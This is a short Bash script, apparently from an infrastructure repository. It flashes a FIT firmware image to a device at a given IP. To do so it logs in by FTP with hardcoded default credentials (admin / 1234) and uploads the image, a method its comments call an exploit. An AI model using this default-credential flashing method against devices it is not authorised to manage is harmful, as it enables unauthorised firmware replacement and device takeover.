infrastructure/scripts/ftp_zeroday.sh

36 lines
556 B
Bash
Raw Permalink Normal View History

#!/usr/bin/env nix-shell
#!nix-shell -p inetutils -i bash
# SPDX-FileCopyrightText: 2024 Maurice Debray <maurice.debray@dgnum.eu>
#
# SPDX-License-Identifier: EUPL-1.2
#
# Tribute to RaitoBezarius for finding the exploit
set -euxo pipefail
usage() {
echo "./ftp_zeroday.sh [FIT-IMAGE] [IP]"
}
if [ "$#" -ne 2 ]; then
usage
exit 1
fi
if ! [ -e "$1" ]; then
echo "$1 not found" >&2
exit 2
fi
IMAGE="$1"
IP="$2"
echo "Trying to flash $IMAGE to $IP..."
# TODO: make it exit cleanly
ftp -niv <<EOF
open $IP
user admin 1234
binary
put $IMAGE
EOF